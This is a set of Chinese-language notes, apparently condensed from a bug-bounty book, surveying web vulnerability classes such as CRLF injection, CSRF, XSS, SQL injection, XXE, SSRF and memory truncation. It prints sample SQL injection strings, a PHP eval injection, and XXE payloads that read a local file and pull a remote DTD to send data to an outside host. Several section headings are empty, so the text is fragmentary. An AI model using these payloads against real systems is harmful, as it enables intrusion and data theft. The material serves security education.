HTML注入
HTML 注入向站點和開發者展示了漏洞,因為他可以用于誤導用戶,并且欺騙它們來提交一些敏感信息,或者瀏覽惡意網站。就像釣魚攻擊那樣。
CRLF注入
CRLF 注入是一類漏洞,在用戶設法向應用插入 CRLF 時出現。在多種互聯網協議中,包括HTML,CRLF 字符表示了行的末尾,通常表示為 \r\n ,編碼后是 %0D%0A 。在和 HTTP 請求或響應頭組合時,這可以用于表示一行的結束,并且可能導致不同的漏洞,包括 HTTP 請求走私和 HTTP 響應分割。對 HTTP 請求走私而言,它通常在 HTTP 請求傳給服務器,服務器處理它并傳給另一個服務器時發生,例如代理或者防火墻。這一類型的漏洞可以導致:
緩存污染,它是一種場景,攻擊者可以修改緩沖中的條目,并托管惡意頁面(即包含JavaScript)而不是合理的頁面。
防火墻繞過,它是一種場景,請求被構造,用于避免安全檢查,通常涉及 CRLF 和過大的請求正文。
-
請求劫持:它是一種場景,攻擊者惡意盜取 HTTPOnly 的 Cookie,以及 HTTP 驗證信息。這類似于 XSS,但是不需要攻擊者和客戶端之間的交互。
CRLF.jpg
跨站請求偽造
跨站請求偽造,或 CSRF 攻擊,在惡意網站、電子郵件、即使消息、應用以及其它,使用戶
的 Web 瀏覽器執行其它站點上的一些操作,并且用戶已經授權或登錄了該站點時發生。這通
常會在用戶不知道操作已經執行的情況下發生。
CSRF 攻擊的影響取決于收到操作的站點。這里是一個例子:
- Bob 登錄了它的銀行賬戶,執行了一些操作,但是沒有登出。
- Bob 檢查了它的郵箱,并點擊了一個陌生站點的鏈接。
- 陌生站點向 Bob 銀行站點發送請求來進行轉賬,并傳遞第一步中,保存 Bob 銀行會話的
Cookie 信息。 - Bob 的銀行站點收到了來自陌生(惡意)站點的請求,沒有使用 CSRF Token 的情況下
處理了轉賬。
應用邏輯漏洞
應用邏輯漏洞不同于其他我們討論過的類型。雖然 HTML 注入、HTML 參數污染和 XSS 都涉及到提交一些類型的潛在惡意輸入,應用落地及漏洞實際上涉及到操縱場景和利用 Web APP代碼中的 Bug。
這一類型攻擊的一個值得注意的例子是 Egor Homakov 對 Github 的滲透,Github 使用 RoR編寫。如果你不熟悉 Rails,他是一個非常流行的 Web 框架,在開發 Web 站點時,它可以處理很多繁雜的東西。
Shopify 管理員權限繞過
星巴克競態條件
Binary.com 權限提升
HackerOne 信號操作
繞過 Gitlab 的雙因素認證
重要結論
有多個重要結論:
1. 不要低估你的能力,以及開發者犯錯的可能性。HackerOne 是個優秀的團隊,擁有 優秀的安全研究員。但是人們都會犯錯。挑戰你的假設吧。
2. 不要在首次嘗試之后就放棄。當我發現它的時候,瀏覽器每個 Bucket 都不可用,并且我幾乎離開了。但是之后我嘗試寫入文件,它成功了。
3. 所有的東西都在于只是。如果你知道存在了哪種漏洞,你就知道了要尋找以及測試 什么。讀這本書就是一個良好的開始。
4. 我之前說過,又再說一遍,一個攻擊面要好于站點,它也是公司所使用的的服務。
要跳出思維定式。
總結
應用邏輯漏洞不一定總是涉及代碼。反之,利用它們通產更需要敏銳的觀察力,以及跳出思維定式。始終留意其它站點可能使用的工具和服務,因為它們代表了新的攻擊向量。這包括站點所使用的來渲染內容的 JavaScript 庫。發現它們或多或少都需要代理攔截器,在將其發送到你所利用的站點之前,它能讓你玩轉一些值。嘗試修改任何值,只要它們和識別你的賬戶相關。這可能包含建立兩個不同的賬戶,以便你有兩套有效的憑據,這可能有幫助。同時尋找隱藏或不常用的終端,它可以用于利用
無意中訪問的功能。
任何時候一些類型的事務發生時,你也應該留意。始終有一些機會,其中開發者沒有在數據庫級別處理競態條件(特別是 NoSQL)。也就是說,它們的代碼可能會阻止你,但是如果你讓代碼執行夠快,比如幾乎同時完成,你就能發現靜態條件。確保你多次測試了這個領域內的任何東西,因為每次嘗試不一定都發生,就像星巴克的案例那樣。最后,要留意新的功能 -- 它通常為測試展示了新的區域。并且如果可能的話,自動化你的測試來更好利用你的時間。
跨站腳本攻擊XSS
跨站腳本,或者 XSS,涉及到站定包含非預期的 JavaScript 腳本代碼,它隨后傳給用于,用戶在瀏覽器中執行了該代碼。
- 反射型 XSS:這些攻擊并不是持久的,意思是 XSS 傳遞后通過簡單的請求和響應執行。
- 存儲型 XSS:這些攻擊是持久的,或已保存,之后在頁面加載時執行給無意識的用戶。
- Self XSS:這些攻擊也不是持久的,通常作為戲弄用戶的一部分,使它們自己執行XSS。
重要結論
測試任何東西,特別要關注一些場景,其中你所輸入的文本渲染給了你。測試來判斷你是否可以包含 HTML 或者 JavaScript,來觀察站點如何處理它。同時嘗試編碼輸入,就像在 HTML 注入一章中描述的那樣。XSS 漏洞并不需要很復雜。這個漏洞是你能找到的最基本的東西 - 一個簡單的輸入文本字段,這個漏洞并不處理用戶輸入。它在 2015 年 12 月 21 日發現,并獲得了 $500 的
獎金。它所需要的所有東西,就是黑客的思維。

總結
XSS 漏洞對站點開發者展現了真實的風險,并且仍然在站點上流行,通常顯而易見。通常簡單提交 JavaScript alert 方法的調用, alert('test')
,你可以檢查輸入字段是否存在漏洞。此外,你可以將它與 HTML 注入組合,并提交 ASCII 編碼的字符來觀察文本是否被渲染和解釋。
在搜索 XSS 漏洞時,這里是要記住的一些事情:
-
測試任何東西
無論你在瀏覽什么站點以及什么時候瀏覽,總是要保持挖掘!不要覺得站點太大或者太復雜,而沒有漏洞。機會正在注視著你并請求你的測試,就像 wholesale.shopify.com 那樣。Google Tagmanager 存儲型 XSS 漏洞就是尋找替代方案來向站點添加標簽的結果。 -
漏洞可能存在于任何表單值
例如,Shopify 的禮品卡站點上的漏洞,通過利用和上傳文件相關的名稱字段來時間,并不是實際的文件字段本身。 -
總是在測試時使用 HTML 代理
當你嘗試提交來自網站自身的惡意值時,當站點的 JavaScript 檢查出你的非法值時,你可能會碰到假陽性。不要浪費你的時間。通過瀏覽器提供合法值,之后使用你的代理修改這些值來執行 JavaScript 并且提交。 -
XSS 漏洞發生在渲染的時候
由于 XSS 在瀏覽器渲染文本時發生,要確保復查了站點的所有地方,其中使用了你的輸入值。逆天家的 JavaScript 可能不會立即渲染,但是會出現在后續的頁面中。這非常麻煩,但是你要留意站點何時過濾輸入,以及轉義輸出。如果是前者,尋找辦法來繞過輸入過濾器,因為開發者可能會犯懶,并且不會轉義渲染的輸入。 -
測試非預期的值
不要總是提供預期類型的值。當 HTML 雅虎郵件的漏洞被發現時,提供了非預期的HTML IMG 屬性。要跳出思維定式,思考開發者要尋找什么,并且之后嘗試提供一些不匹配這些預期的東西。這包含尋找新的方式來執行潛在的 JavaScript,例如繞過 Google圖片的 onmousemove 事件。
SQL注入:
SQLi 允許黑客將 SQL 語句注入到目標中并訪問它們的數據庫。它的潛力是無窮的,通常使其成為高回報的漏洞,例如,攻擊者能夠執行所有或一些 CURD 操作(創建、讀取、更新、刪除)來獲取數據庫信息。攻擊者甚至能夠完成遠程命令執行。
SQLi 攻擊通常是未轉義輸入的結果,輸入被傳給站點,并用作數據庫查詢的一部分。它的一個例子是:
$name = $_GET['name'];
$query = "SELECT * FROM users WHERE name = $name";
這里,來自用戶輸入的傳入值直接被插入到了數據庫查詢中。如果用戶輸入了 test' or1=1 ,查詢就會返回第一條記錄,其中 name = test or 1=1 ,所以為第一行。現在在其他情況下,你可能會得到:
$query = "SELECT * FROM users WHERE (name = $name AND password = 12345");
這里,如果你使用了相同的載荷,你的語句最后會變成:
$query = "SELECT * FROM users WHERE (name = 'test' OR 1=1 AND password = 12345");
所以這里,查詢會表現得有些不同(至少是 MySQL)。我們會獲取所有記錄,其中名稱是 test ,或者密碼是 12345 。很顯然我們沒有完成搜索數據庫第一條記錄的目標。因此,我們需要忽略密碼參數,并能夠使用注釋來實現, test' or 1=1;--
。這里,我們所做的事情,就是添加一個分號來合理結束 SQL 語句,并且立即添加兩個短橫線(和一個空格)來把后面的所有東西標記為注釋。因此不會被求職。它的結果會和我們初始的例子一樣。
開放重定向漏洞
根據 OWASP,開放重定向出現在應用接受參數并將用戶重定向到該參數值,并且沒有對該值進行任何校驗的時候。
這個漏洞用于釣魚攻擊,便于讓用戶無意中瀏覽惡意站點,濫用給定站點的信任并將用戶引導到另一個站點,惡意站點作為重定向目的地,可以將其準備成合法站點的樣子,并嘗試收集個人或敏感信息。
重要結論
我這里再說一遍,不是所有漏洞都很復雜。這里的開放重定向只需要將重定向參數修改
為外部站點。
緩沖區溢出
緩沖區溢出是一個場景,其中程序向緩沖區或內容區域寫入數據,寫入的數據比實際分配的區域要多。使用冰格來考慮的話,你可能擁有 12 個空間,但是只想要創建 10 個。在填充格子的時候,你添加了過多的水,填充了 11 個位置而不是 10 個。你就溢出了冰格的緩存區。緩沖區溢出在最好情況下,會導致古怪的程序行為,最壞情況下,會產生嚴重的安全漏洞。這里的原因是,使用緩沖區移除,漏洞程序就開始使用非預期數據覆蓋安全數據,之后會調用它們。如果這些發生了,覆蓋的代碼會是和程序的預期完全不同的東西,這會產生錯誤。或者,惡意用戶能夠使用移除來寫入并執行惡意代碼。
代碼執行
遠程代碼執行是指注入由漏洞應用解釋和執行的代碼。這通常由用戶提交輸入,應用使用它而沒有任何類型的處理或驗證而導致。
看一下這行代碼:
var = _GET['page'];
eval($var);
這里,漏洞應用可能使用 URL index.php?page=1 ,但是,如果用于輸入了 index.php?page=1;phpinfo() ,應用就會執行 phpinfo 函數,并返回其內容。與之類似,遠程代碼執行有時用于指代命令注入,OWASP 區分了這兩點。使用命令駐入,根據 OWASP,漏洞應用在主機操作系統上執行任何命令。同樣,這也由不合理處理和驗證用戶輸入導致,這會導致用戶輸入傳遞給操作系統的命令。
XML 外部實體注入
XML 外部實體(XXE)漏洞涉及利用應用解析 XML 輸入的方式,更具體來說,應用程序處理輸入中外部實體的包含方式。為了完全理解理解如何利用,以及他的潛力。我覺得我們最好首先理解什么是 XML 和外部實體。元語言是用于描述其它語言的語言,這就是 XML。它在 HTML 之后開發,來彌補 HTML 的不足。HTML 用于定義數據的展示,專注于它應該是什么樣子。房子,XML 用于定義數據如何被組織。
重要結論
這里有一些重要結論。XML 文件以不同形式和大小出現。要留意接受 .docx 、 .xlsx 、 .pptx ,以及其它的站點。向我之前提到過的那樣,有時候你不會直接從 XXE 收到響應,這個示例展示了如何建立服務器來接受請求,它展示了 XXE。此外,像我們的例子中那樣,有時報告一開始會被拒絕。擁有信息和耐心和你報告的公司周旋非常重要。尊重他們的決策,同時也解釋為什么這可能是個漏洞。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)
最開始,它從站點下載了文件來判斷 XML 結構,這里是一個 .gpx 文件,并插入了 *<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>; 。之后它調用了 .gpx 文件中 13 行的記錄名稱中的實體。并不是必須的,如果它能夠服務 /etc/passwd 文件,并將內容渲染在 <name> 元素中。
這產生了發往服務器的 HTTP GET 請求, GET 144.76.194.66 /XXE/ 10/29/15 1:02PMJava/1.7.0_51 。這有兩個原因值得注意,首先,通過使用一個概念調用的簡單證明,David能夠確認服務器求解了它插入的 XML 并且進行了外部調用。其次,David 使用現存的 XML文件,以便時它的內容滿足站點所預期的結構。雖然它沒有討論這個,調用它的服務器可能并不是必須的,如果它能夠服務 /etc/passwd 文件,并將內容渲染在 <name> 元素中。在確認 Wikiloc 會生成外部 HTTP 請求后,唯一的疑問就是,是否它能夠讀取本地文件。所以,它修改了注入的 XML,來讓 Wikiloc 向他發送它們的 /etc/passwd 文件內容。
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/
1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.0
37170000"/>
<trk>
<name>&send;</name>
(...)
總結
XXE 表示一類有巨大潛力的有趣的攻擊向量。有幾種方式來完成,就像我們之前看到的那樣,它能夠讓漏洞應用打印自己的 /etc/passwd 文件,以 /etc/passwd 文件來調用遠程服務器,以及請求遠程 DTD 文件,它讓解析器來使用 /etc/passwd 文件調用服務器。作為一個黑客,要留意文件上傳,特別是那些接受一些 XML 類型的上傳,應該始終測試它們是否存在 XXE 漏洞。
模板注入
模板引擎是允許開發者或設計師在創建動態網頁的時候,從數據展示中分離編程邏輯的工具。換句話說,除了擁有接收 HTTP 請求的代碼,從數據庫查詢必需的數據并且之后將其在單個文件中將其展示給用戶之外,模板引擎從計算它的剩余代碼中分離了數據的展示(此外,流行的框架和內容管理系統也會從查詢中分離 HTTP 請求)。
Uber Angular 模板注入
Rails 動態渲染器
總結
搜索漏洞時,嘗試并識別底層的技術(框架、前端渲染引擎、以及其他)是個不錯的理念,以便發現可能的攻擊向量。模板引擎的不同變種,使我們難于準確地說,什么適用于所有環境,但是,知道用了什么技術會有幫助。要留意一些機會,其中你可控制的文本在頁面上,或者一些其他地方(例如郵件)渲染給你。
服務端請求偽造
服務端請求偽造,或者 SSRF,是一種類型,它允許攻擊者使用目標服務器來代表攻擊者自己執行 HTTP 請求。這和 CSRF 類似,因為兩個漏洞都執行了 HTTP 請求,而不被受害者察覺。在 SSRF 中,受害者是漏洞服務器,在 CSRF 中,它是用戶的瀏覽器。這里的潛力非常大,包括:
-
信息暴露,其中我們欺騙服務器來暴露關于自身的信息,在示例 1 中使用 AWS EC2 元
數據描述。
- XSS,如果我們讓服務器渲染遠程 HTML 文件,其中帶有 JavaScript。
ESEA SSRF 和 AWS 元數據請求
如果你正在尋找 SSRF 漏洞,要留意任何在遠程內容中拉取的目標 URL。這里,它的標志是 url= 。其次,不要僅限于你的第一想法。Brett 完全能夠報告 XSS 載荷,但是這不太深入。通過深入挖掘,它就能發現漏洞的真正價值。但是這樣做的時候,要小心不要越界。
越界讀取
除了越過分配的內容寫入數據之外,另一個漏洞時越過內容邊界讀取數據。這是一類緩沖區溢出,因為內容被越界讀取,這是緩存區不允許的。
OpenSSL Heartbleed
內存截斷
內存截斷是一種技巧,用于通過使代碼執行一些不常見或者非預期的行為,來發現漏洞。它的效果類似于緩沖區溢出,其中內容在不該暴露的時候暴露了。
一個例子是空字節注入。這發生在提供了空字節 %00
或者十六進制的 0x00
,并導致接收程序的非預期行為時。在 C/C++,或低級編程語言中,空字節表示字符串的末尾,或者字符串的終止符。這可以告訴程序來立即停止字符串的處理,空字節之后的字節就被忽略了。當代碼依賴字符串長度時,它的影響力十分巨大。如果讀取了空字節,并停止了處理,長度為 10 的字符串就只剩 5 了。例如:
thisis%00mystring
這個字符串的長度應該為 15,暗示如果字符串以空字節終止,它的長度為 6。這對于管理自己的內存的低級語言是有問題的。
現在,對于 Web 應用,當 Web 應用和庫、外部 API 以及其它用 C 寫成的東西交互的時候,這就有關系了。向 URL 傳入 %00 可能使攻擊者操作更廣泛服務器環境中的 Web 資源。尤其是當編程語言存在問題的時候,例如 PHP,它是使用 C 語言編寫的。
PHP ftp_genlist()
Python Hotshot 模塊
重要結論
我們現在查看了兩個函數的例子,它們的不正確實現都收到了緩沖區溢出的影響, memcpy 和 strcpy 。如果我們知道某個站點或者應用依賴 C 或者 C++,我們就可以遍歷還語言的源代碼庫(使用類似 grep 的東西),來尋找不正確的實現。關鍵是尋找這樣的實現,它向二者之一傳遞固定長度的變量作為第三個函數,對應被分配的數據長度,在數據復制時,它實際上是變量的長度。
但是,像之前提到的那樣,如果你剛剛起步,可能你需要放棄搜索這些類型的漏洞,等你更熟悉白帽子滲透時再回來。
PHP 內存截斷
phar_parse_tarfile
函數并沒有考慮以空字符開始的文件名稱,空字符是值為 0 的字節,即十六進制的 0x00 。在該方法的執行期間,當使用文件名稱時,數組會發生下溢(即嘗試訪問不存在的數據,并超出了數組分配的內存)。這是個重要漏洞,因為它向黑客提供了本該限制的內存的訪問權。
在處理自己管理內存的應用時,特別是 C 和 C++,就像緩沖區溢出那樣,內存截斷是個古老但是仍舊常見的漏洞。如果你發現,你正在處理基于 C 語言的 Web 應用(PHP 使用它編寫),要留意內存操作的方式。但是同樣,如果你剛剛起步,你可能值得花費更多時間來尋找簡單的注入漏洞,當你更熟練時,再回到內存截斷。